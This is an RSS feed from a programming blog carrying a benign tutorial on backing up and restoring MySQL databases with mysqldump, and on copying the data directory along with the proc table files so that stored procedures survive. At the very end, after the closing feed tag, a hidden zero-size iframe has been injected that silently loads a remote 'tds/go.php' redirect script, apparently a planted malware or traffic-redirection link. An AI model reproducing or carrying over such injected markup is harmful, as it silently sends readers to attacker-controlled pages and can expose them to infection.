<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; data directory</title>
	<atom:link href="http://www.dijexi.com/tag/data-directory/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>Restore MySQL database, stored procedure missing ?</title>
		<link>http://www.dijexi.com/2009/06/restore-mysql-database-stored-procedure-missing/</link>
		<comments>http://www.dijexi.com/2009/06/restore-mysql-database-stored-procedure-missing/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 23:18:08 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[data directory]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[restore]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[stored procedure]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/06/restore-mysql-database-stored-procedure-missing/</guid>
		<description><![CDATA[Backing up and Restoring mysql database could be done through several ways. You can backup and restore by exporting SQL script using MySQL command line or copying MySQL data directory from the original server to the destination server. Using the second method will cause the stored procedure and function missing. In this article we will [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Backing up and Restoring mysql database could be done through several ways. You can backup and restore by exporting SQL script using MySQL command line or copying MySQL data directory from the original server to the destination server.</p>
<p>Using the second method will cause the stored procedure and function missing. In this article we will discuss how to overcome the situation.</p>
<p><span id="more-224"></span></p>
<h2>Backup and Restore using MySQL command line</h2>
<p>You can backup mysql database using mysqldump command line. Using this method, you can backup and restore all information on the database, including the triggers and the stored procedures that you have on the database.</p>
<p>This command line has many parameters, but there are only some of them that we are interested. For example to backup database ialfdb, you use the command:</p>
<blockquote><p><span style="font-family: Courier New; font-size: x-small;">mysqldump ialfdb –u root –p &#8211;add-drop-table &gt; ialfdb.sql</span></p></blockquote>
<p>The above command instruct the system to export SQL statements from the database ialfdb, connecting using username root (-u root), with password that will be asked later (-p), add drop table statement for every table that will be recreated again (—add-drop-table), save the resulting SQL statement to a file named ialfdb.sql in the current directory ( &gt; ialfdb.sql ).</p>
<p>If the system was failed to executed mysqldump program then try to run it using the full path (typing the program’s exact location), for example: c:\xampp\mysql\bin\mysqldump or c:\program files\mysql\bin\mysqldump.</p>
<p>You can specify the destination directory for SQL file for the output by typing the file with it’s full path, for example c:\data\ialfdb.sql.</p>
<p>When the command is executed, it will ask you for a password, that is the password for user specified by –u parameter (root).</p>
<blockquote><p>Enter password:</p></blockquote>
<p>Just type the user’s password. Depending to the size of the database, it will take a while to process your request. After the process is done, you will be back to the command prompt.</p>
<p>Below is a screen capture of the command line session. I used it on Windows operating system, but there will be no big different on other operating system.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image27.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb27.png" border="0" alt="image" width="244" height="125" /></a></p>
<p>To restore the database, you should use the command line mysql. Again we are only interested in a few of all the parameter that the program has. To restore our backup file above (ialfdb.sql), use the command line:</p>
<blockquote><p>mysql ialfdb –u root –p &lt; ialfdb.sql</p></blockquote>
<p>The command line above tell the system to restore the SQL scripts on the file ialfdb.sql ( &lt; ialfdb.sql ), using user root to connect to the database ( –u root ), with password that will be asked later.</p>
<p>If the system was failed to executed mysql program then try to run it using the full path (typing the program’s exact location), for example: c:\xampp\mysql\bin\mysql or c:\program files\mysql\bin\mysql.</p>
<p>You can specify the source directory of the SQL script file by typing the file with it’s full path, for example c:\data\ialfdb.sql.</p>
<p>When the command is executed, it will ask you for a password, that is the password for user specified by –u parameter (root).</p>
<blockquote><p>Enter password:</p></blockquote>
<p>Just type the user’s password. Depending to the size of the database, it will take a while to process your request. After the process is done, you will be back to the command prompt.</p>
<p>Below is a screen capture of the command line session. I used it on Windows operating system, but there will be no big different on other operating system.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image61.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image6_thumb.png" border="0" alt="image" width="244" height="125" /></a></p>
<h2>Backup and Restore by Copying the Data Directory</h2>
<p>You could also backup and restore MySQL database by copying the data directory from a server to other server. By default, MySQL data directory resides on the data directory below the server installation path, for example c:\program files\mysql\data or c:\xampp\mysql\data. There will be directories for your database, in our case is the ialfdb directory.</p>
<p>Simply copy the data directory from the source server to the destination server using Windows Explorer.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image28.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Location of database directory of MySQL database" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb28.png" border="0" alt="Location of database directory of MySQL database" width="430" height="464" /></a></p>
<p>The problem is when your database contains stored procedures and functions. You cannot simply the database directory, but you need also to copy the proc tables under the mysql directory. The files for that tables are: proc.myi, proc.myd, and proc.frm.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image29.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="The proc table files" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb29.png" border="0" alt="The proc table files" width="430" height="464" /></a></p>
<p>Of course, other stored procedure and function which are belong to (created at) other database will be copied also in the new database.</p>
<p>That’s all, hope this article is useful for you. Please leave me a comment if you have something to discuss.</p>
<p>Akhmad Daniel Sembiring<br />
<a href="http://www.vitraining.com" target="_blank">vITraining.com</a><br />
<a href="http://ligarwangi.com" target="_blank">Ligarwangi.com &#8211; toserba online</a></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2008/04/me-restore-database-postgresql-dari-windows-ke-linux/" rel="bookmark">Me-Restore database PostgreSQL dari Windows ke Linux</a></li><li><a href="http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/" rel="bookmark">CodeIgniter: koneksi ke port MySQL tertentu selain 3306</a></li><li><a href="http://www.dijexi.com/2009/06/mysql-backup-with-phpmybackuppro/" rel="bookmark">MySQL Backup with phpMyBackupPro</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-database-ikan/" rel="bookmark">13. Aplikasi Database Ikan</a></li><li><a href="http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 3 ER Diagram and Creating Database</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Frestore-mysql-database-stored-procedure-missing%2F&amp;linkname=Restore%20MySQL%20database%2C%20stored%20procedure%20missing%20%3F"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/restore-mysql-database-stored-procedure-missing/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
